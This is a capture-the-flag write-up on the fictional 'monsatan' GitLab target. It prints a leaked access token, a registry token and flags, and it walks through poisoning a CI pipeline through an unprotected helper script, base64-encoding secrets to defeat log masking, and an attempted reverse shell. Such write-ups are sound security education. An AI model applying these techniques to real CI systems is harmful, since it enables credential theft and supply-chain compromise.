From chatbot.monsatan.ctf, we tried going to monsatan.ctf. The html contained a comment with "Comment out for prod" and the link to http://gitlab.monsatan.ctf.
Flag #1: The README.md contained a flag.
Flag #2: One of the commits deleted a script that was commited by mistake, that script contained a flag and a personal access token (pat).
#!/bin/bash
# This script simulates a push from the runner to ensure perms are correct.
SYSTEM_TEST_TOKEN="glpat-kToInh9C9Vki3i-iFw6iCG86MQp1OjQH.01.0w01597k4"
PROJECT_URL="gitlab.monsatan.ctf/monsatan/website.git"
git checkout -b ci-test-branch
echo "Runner Test: $(date)" > test_log.txt
git add test_log.txt
git commit -m "Runner system check"
git push http://monsatan-ci-bot:$SYSTEM_TEST_TOKEN@$PROJECT_URL ci-test-branch
# FLAG-{j2970ax5s3zq6k17l97jg2k84hd12o9f}
Using the gitlab api we could see that the token had read_repository and write_repository scopes.
> curl --request GET --header "PRIVATE-TOKEN: glpat-kToInh9C9Vki3i-iFw6iCG86MQp1OjQH.01.0w01597k4" --url "http://gitlab.monsatan.ctf/api/v4/personal_access_tokens/self"
{"id":2,"name":"monsatan-ci-bot","revoked":false,"created_at":"2026-04-13T23:12:46.154Z","description":"","scopes":["read_repository","write_repository"],"user_id":4,"last_used_at":"2026-05-17T02:33:56.725Z","active":true,"expires_at":"2026-10-01","last_used_ips":["127.0.0.1","2602:fc62:ef:2045::103"]}
Using the token, we tried modifying the .gitlab-ci.yml but this was blocked.
remote: MONSATAN CORP SECURITY POLICY VIOLATION:
remote: Unauthorized modification of .gitlab-ci.yml detected.
remote: To protect infrastructure secrets, direct CI changes are forbidden by users outside of Monsatan's DevSecOps team.
However the dependency_check step called tools/legacy_env_setup.sh which was not protected. That step was running every time a branch named "build-*" was modified.
# [DEPRECATED] Legacy workaround for projects migrated from the old Jenkins infrastructure.
# We drop privileges to gitlab-runner-basic here to prevent older custom scripts from corrupting the shared root dart pub cache.
# TODO (ITSec): Remove this conditional once all legacy web portal repos conform to the new Monsatan CI standard.
- if [ -f "tools/legacy_env_setup.sh" ]; then
- sudo -E -u gitlab-runner-basic tools/legacy_env_setup.sh
- fi
FLAG #3: We wrote shell commands to the script to explore. Using env we identified a FLAG variable. We used echo $FLAG | base64 to get around the secret masking.
We tried using a reverse and a bind shell but since the runner did not have network access we ended up bricking our runner and had to restart the gitlab instance :)
The environment also contained a token for the dart package registry.
DART_REGISTRY_TOKEN=DARTREG_74ea1036f817ffaf8a45001750c05fb0
DART_REGISTRY_URL=https://dartreg.monsatan.ctf/
We confirmed that the registry contained a test_package but ran out of time to exploit this further.